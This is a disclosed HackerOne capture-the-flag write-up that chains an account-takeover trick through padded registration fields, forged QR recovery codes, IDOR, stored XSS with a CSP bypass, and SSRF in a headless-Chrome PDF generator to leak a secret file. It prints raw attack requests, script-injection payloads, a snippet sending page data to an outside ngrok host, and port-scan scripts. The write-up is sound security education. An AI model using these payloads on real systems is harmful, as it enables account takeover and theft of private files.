HexBrain

h1-ctf · Report #780036

[h1-415 2020] Multiple vulnerabilities leading to leaking of secret user files

Validstatus
criticalseverity
56upvotes
3 Feb 2020disclosed

Summary

Beginning of event

This is my friend Jobert:

{F692973}

On January 16th, HackerOne's official twitter account posted a tweet about Jobert lost access to his account and lost an important document. Which stumbled upon on me. I wanted to help my friend and started to check service provider located on https://h1-415.h1ctf.com

Analysing the target with visual recon

Started to check https://h1-415.h1ctf.com with visual recon, noticed that some customers had their testimonials, interestingly Jobert provided one too. While inspecting his testimonial noticed he had email address referenced for it. {F692986}

Email address referenced was: [email protected]

Since everyone could sign-up to the service, I tried to register with [email protected] as email address and got an error Something went wrong, please try again with a different email address or username..

It was clear that Jobert's email on testimonial was used. So registered an account with my own email, after successfully registering account a QR code generated by service and mentioned that it could be used for recovering the account: Please take some time to save this QR code if you ever need to recover your account in the future., saved the QR and moved to analyse features on service.

There was a support page which was clearly mentioning: Support chat is available for customers only. Since account we created was trial account we were not qualified for it, that looks like some feature we must check later on.

Moved to settings feature and it was having an option to change our name, decided to check if it's sanitizing special chars to prevent potential attacks, it was sanitizing following characters: <>{}. Therefore using it for any kind of stored XSS was not possible, also tried to see the limit on character length for username, noticed that whenever we exceed 128 chars it was giving internal server error, noted it down and moved to next feature.

Converter feature clearly mentioned that we can only upload following file types: PNG and JPG but only thing it was doing checking file extension, so it was possible to upload any content with that extensions but looks like pdf generation was just referencing them from <img> tag on page it renders so it wasn't possible to abuse it unless we can find some LFI.

Since we noticed character length limit on username, decided to check it on for other fields of the register page, looks like it was also applied for email and username as well, also it was possible to create an account with empty username.

Only thing left to check was how user session handled, looks like session cookie set as HttpOnly so leaking it with any stored XSS would nearly impossible unless we find an endpoint sending it as a response and _csrf_token is just used for a regular anti-CSRF mechanism.

Using data gained from visual recon

So far we found out potential email address of Jobert's account, account recover mechanism with QR code, session cookie is HttpOnly, character limits on email, name and username of account.

Started with analysing session cookie, session cookie looked like Flask cookie and decoding it actually revealed something interesting for doing it used flask-unsign.

flask-unsign --unsign --cookie .eJxdy8EKwjAMANB_yXlI06at7cn_EClZlqHoNlnrQcR_d-BJj-_wXlCkrmNpy1VnyECcQkzWR6HBhGSIxbDrESlhb8l5GREHNtCBnLlBPp460Ikvty03rQ2tIx_iPh1-tJNl2s6j6lra866Q3VczT_pf4f0BC4UsGQ.Xid9Mg.l1KyB_ywBm-_bhoHx86iKQnMgvc

[*] Session decodes to: {'_csrf_token': '4a9679257c4d06904ac0a3b11491b2435cf11da0', 'chat': [], 'email': '[email protected]', 'user_type': 3, 'username': 'test123456789'}

It was clear that session cookie do not store users password, which is good to know but since we do not have the secret key for it, it was impossible to generate a new one.

Decided to decode QR code, for it just used online service from ZXing:

7465737431323334353637383940746573743132333435363738392e636f6d:f7ab97879d467bace879071789e097ed65508b93399941854c76a1e353b1df4a7b8259faefbaacbdf8686afbcb65ee03b7e10c3e58b4f47b7ffa4c277fb7a9ae8ade8e3316737c83406a643e3f99106cfb824287c28004a1aa1b417d102db69b641b7a2fdad1bdd699efe13cd0671df265f4efe02efa6af8004b73bd270545d7

Which looked like bunch of hashes dancing together, except there was a semicolon between them, so checked first part which was not fitting any known hash length, it was clearly hex values of email address I used: [email protected]

So decided to create a new QR code with Jobert's email via using QR code generator:

6a6f62657274406d79646f637a2e636f736d6963:f7ab97879d467bace879071789e097ed65508b93399941854c76a1e353b1df4a7b8259faefbaacbdf8686afbcb65ee03b7e10c3e58b4f47b7ffa4c277fb7a9ae8ade8e3316737c83406a643e3f99106cfb824287c28004a1aa1b417d102db69b641b7a2fdad1bdd699efe13cd0671df265f4efe02efa6af8004b73bd270545d7

When used new generated QR, got an error: Invalid code it was clear that we should find a way to recover that account.

Discovering ways to account takeover

Since QR code we generated failed decided to mess with register page, so far we know character limit and sanitized characters.

First way I tried was sending null-byte and new line characters at the end of email address, noticed I was able to create accounts with them but they were included on cookie like:

{'_csrf_token': '20bc6e86d195d103d2d8bfe132cf9484e6cc4bf7', 'chat': [], 'email': '[email protected]\n', 'user_type': 3, 'username': '1'}

So it wasn't actually checking if there was invalid character at the end of email address but failed, I decided to use an old trick from early 2000s filling it with spaces till 128th char and putting new line at the end as 129th char.

Request payload looked like this:

POST /register HTTP/1.1
Host: h1-415.h1ctf.com
Connection: close
Content-Length: 273
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://h1-415.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4017.0 Safari/537.36 Edg/81.0.389.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://h1-415.h1ctf.com/register
Accept-Encoding: gzip, deflate
Accept-Language: tr,en-US;q=0.9,en;q=0.8
Cookie: _csrf_token=3390a87b98128fe01be7fa3f615aced12ea1dae1; session=eyJfY3NyZl90b2tlbiI6IjMzOTBhODdiOTgxMjhmZTAxYmU3ZmEzZjYxNWFjZWQxMmVhMWRhZTEifQ.XiV2HQ.n04p8L9_-rBZgpUq6FCI-LoRelc

name=test&[email protected]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%0a&username=13&password=test123456789&password-confirmation=test123456789&_csrf_token=3390a87b98128fe01be7fa3f615aced12ea1dae1

Interestingly that worked like a charm and I was able to register account with it and session cookie looked like this:

{'_csrf_token': '3390a87b98128fe01be7fa3f615aced12ea1dae1', 'chat': [], 'email': '[email protected]                                                                                                            \n', 'user_type': None, 'username': None}

It somehow didn't have user_type and username.

I was able to login with [email protected] with password test123456789 but this didn't feel like intended way. Since I was able to make another [email protected] account with different password and being able to login with both but not actually with jobert's username by using the passwords. It looked like some issue on backend actually was causing it, even session cookie was able to confirm it, since it had all the spaces.

When logged in session cookie was like this:

{'_csrf_token': '3390a87b98128fe01be7fa3f615aced12ea1dae1', 'chat': [], 'email': '[email protected]                                                                                                            ', 'user_type': 2, 'username': 'jobert'}

It clearly removed \n but was filled with spaces.

Since Jobert's user_id was 2, there should be another account I tried [email protected] for it and I was actually able to takeover it too and it's userid was 1 but there wasn't so much to do with it, later reported it and this was actually unintended way to take account as mentioned on:

{F692181}

So there should be also intended way to takeover Jobert's account since we could add any char at the end of email I wanted to add sanitized chars like <<

We got a new QR code for registering an account:

{F692972}

When decoded it looked like this:

6a6f62657274406d79646f637a2e636f736d6963:c2fc8b13780eeced250ec5daf3a47451b3ad412b9ecd2cd4a70c0de3a8ee9043212c7d5a0d20bc0c67095f2b876ab83cdc9e20747bb44bfe33ebf0ebac715133d33537477d9c999c41efa1321534e75877ba1b298276123136774db04a6623677afb1db708b0517a11487007dfc72a6909a4815ed86b3eb9d74e029cf2be91bb

Result was perfect we were able to generate valid QR code for Jobert's email and << got sanitized, now we need to test if we can login with it and when logged in session cookie looked like this:

{'_csrf_token': 'ac1ea8ac0e6c6931243e9928f067212c0d899a3d', 'chat': [], 'email': '[email protected]', 'user_type': 2, 'username': 'jobert'}

So it was successful and we are now able to login with Jobert's account by using QR code.

Interestingly session cookie of original account of the which generated QR looked liked this:

{'_csrf_token': 'ac1ea8ac0e6c6931243e9928f067212c0d899a3d', 'chat': [], 'email': '[email protected]<<', 'user_type': 3, 'username': 'test1234567891'}

So unintended way actually doing weird interactions with backend and potentially database server itself, because unlike sanitized versions cookie unintended way was missing user_type and username values on cookie.

Checking new features

Since I was able to login as Jobert first thing I checked was documents but looks like we got rick rolled there is no documents on that account.

Jobert's account had access for the support since he was legit customer and support chat looks like vulnerable to stored XSS but due to CSP filters we can't use scripts unless we bypass it.

According to this script when we rate support we received with 1 star a support person will review it.

    $("#rating-input").val(rating), 1 === rating && $("#report-message").text("We're sorry about that. Our team will review this conversation shortly."), $("#review-button").attr("disabled", !1)

By simply using "<img>" I verified that I received a new connection on it with interesting user-agent:

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36

So decided to check CSP filters, seeing that https://raw.githack.com/mattboldt/typed.js/master/lib/ allowed to reference scripts checked GitHack, I could reference my own github but link looked like https://raw.githack.com/mcipekci/ch/master/c.js

For fooling browser I decided to use double encoding because backend will replace %2F with / so needed to have %2F on browser therefore when it makes request to githack, will remove trailing slashes so first payload looked like:

<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fmcipekci/ch/master/c.js"></script>

This was bypassing it but there was another trick too (thanks to checkm50)

<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/@https://raw.githubusercontent.com/mcipekci/ch/master/c.js"></script>

With both ways I was able to execute scripts but due to CSP filters we couldn't exfill data via XHR and since session cookie was HttpOnly, it wasn't worth to get that cookie, only thing left is getting address of support.

var img = document.createElement('img'); 	
img.src = 'https://473610be.ngrok.io/w.png?c='+document.location;
document.body.appendChild(img);

By using this I was able to locate supports address

GET /w.png?c=http://localhost:3000/support/review/1194a0909bd5e05ded45214d54c559e708cd2131488a483b350ceedbbbbc7ddf HTTP/1.1
Host: 473610be.ngrok.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
X-Forwarded-Proto: https
X-Forwarded-For: 18.218.90.126

{F694403} Things started to look interesting support page looks like was vulnerable to improper access control, so whoever had address of the page can access it but whenever we tried to save user it was giving can't update this user error.

Chaining IDOR and stored XSS to finding missing file via SSRF

Since I had the link of supports review page noticed that there was a user_id parameter decided to change it to my trials user id and realised that unlike register and users own settings page no sanitize applied for special chars on users name but payload was limited, so used <script> tag to load remote javascript, since pdf generators ignore CSP rules but directly rely html code for rendering, I used script from my own server.

POST /support/review/1194a0909bd5e05ded45214d54c559e708cd2131488a483b350ceedbbbbc7ddf HTTP/1.1
Host: h1-415.h1ctf.com
Connection: close
Content-Length: 123
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://h1-415.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4017.0 Safari/537.36 Edg/81.0.389.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://h1-415.h1ctf.com/support/review/1194a0909bd5e05ded45214d54c559e708cd2131488a483b350ceedbbbbc7ddf
Accept-Encoding: gzip, deflate
Accept-Language: tr,en-US;q=0.9,en;q=0.8
Cookie: _csrf_token=43701321f1d6febd05143e22473097dbd0ad2adf; session=eyJfY3NyZl90b2tlbiI6IjQzNzAxMzIxZjFkNmZlYmQwNTE0M2UyMjQ3MzA5N2RiZDBhZDJhZGYifQ.Xih9mg.4crzJQ_QGe46WyBiGGEg_P266Rs

name=<script src="http://worker.nukedx.com/t4.js"></script>&user_id=11&_csrf_token=43701321f1d6febd05143e22473097dbd0ad2adf

Thanks to stored XSS via IDOR now we are able to fire SSRF on pdf generator but we are again limited since we can't access metadata to reveal SSH keys, only thing left to do was doing port scan, decided to use following script to scan local ports for any other web page.

var i = 0;
var k = i + 500;
for (;i<k; i++){
 document.write("<br/><b>Port:"+i+"</b><iframe src='http://localhost:"+i+"' width='1000' height='300' frameBorder='0'></iframe><br/>");
}

I decided to scan 500 ports each time because when I added more pdf generation was failing so after some time I found out that Chrome's default remote debugging port (9222) was accessible, you can find outputs of the scan on {F692971}

{F692970}

Since we can access that decided to use following script for loading it on pdf:

var i=9222;
document.write("<br/><b>Port:"+i+"</b><iframe src='http://localhost:"+i+"/json' width='1000' height='1000' frameBorder='0'></iframe><br/>");

{F692969}

Now I found out that http://localhost:3000/login?secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf

Wanted to go for this web page since we could share documents with our friends according to Jobert's testimonial on login page.

I love My Docz Converter! It's easy to use and secure. I can share documents with my friends.

Flag was stored on it: h1ctf{y3s_1m_c0sm1c_n0w} {F692180}

Journey of curiosity

Furthermore receiving flag for unintended account takeover: h1ctf{wtf_1s_happ3ning_w1th_th1s_s1mulat1on}

I decided to dig it more because it wasn't feeling correct and my curiosity was tempting me and applied same logic to username itself by using such request:

POST /register HTTP/1.1
Host: h1-415.h1ctf.com
Connection: close
Content-Length: 286
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://h1-415.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4017.0 Safari/537.36 Edg/81.0.389.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://h1-415.h1ctf.com/register
Accept-Encoding: gzip, deflate
Accept-Language: tr,en-US;q=0.9,en;q=0.8
Cookie: _csrf_token=48c181397836e88979a3dcbe000856320ec5f829; session=eyJfY3NyZl90b2tlbiI6IjQ4YzE4MTM5NzgzNmU4ODk3OWEzZGNiZTAwMDg1NjMyMGVjNWY4MjkifQ.Xijq_Q.v_EEgJoyHr08l8qoLb-v6A_izrI

name=test&[email protected]&username=jobert+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%0a&password=1test123456789&password-confirmation=1test123456789&_csrf_token=48c181397836e88979a3dcbe000856320ec5f829

Which actually worked and let me create a new account it's session cookie looks like this:

{'_csrf_token': '48c181397836e88979a3dcbe000856320ec5f829', 'chat': [], 'email': '[email protected]', 'user_type': 3, 'username': 'jobert              '}

Apperantly backend was setting user_type by matching email address but not the username itself from the login, which explains all QR code stuff, then I logged with jobert's username confirmed it since it had trial tag on it. {F693403}

First thing I tried changing name of user and I was actually able to do it then logged with [email protected] and confirmed that I was able to update name to Jobert2.

{F693402}

Secondly I tried to upload file on jobert's username and it was also successful

{F693400}

Again logged with [email protected] and verified it was also successful

{F693401}

It's also clear that username and documents assigned to userid itself unlike the access of users permissions, like jobert account with trial permissions couldn't interact with support despite being exact same userid with original jobert account.

It was really fun to find such stuff :).

Closing thoughts

This CTF actually helped me to analyse things more better and stop overthinking, because sometimes we need to stop making assumptions and follow the flow of basic things.

It was very well managed and fun challenges was there.

Hats off to Mr @0xacb a.k.a 2763 ;) and @nahamsec

I also would like to thank @Al-Madjus, @checkm50 and @manoelt from H101 discord for their time and letting me realize things more clearly.

Unfortunately I can not attend event, due to some family reasons. if I win via this write-up which I do not think, so please exclude me from that :)

I feel like c0sm1c now {F693204}

References

  1. https://zxing.org/w/decode.jspx
  2. https://www.the-qrcode-generator.com/
  3. https://h1-415.h1ctf.com/js/support.min.js
  4. https://raw.githack.com
  5. https://mango.pdf.zone/stealing-chrome-cookies-without-a-password
  6. https://h1-415.h1ctf.com/documents/0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf

How it was found

Hello,

I'm just submitting both flags for CTF, will send my write up on hacker summary, since it's 7:00 am now :).

Original flag for CTF: h1ctf{y3s_1m_c0sm1c_n0w} Extra flag for unintended account takeover: h1ctf{wtf_1s_happ3ning_w1th_th1s_s1mulat1on}

Sincerely, @nukedx

Impact

By chaining multiple vulnerabilities attacker can leak secret user files.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original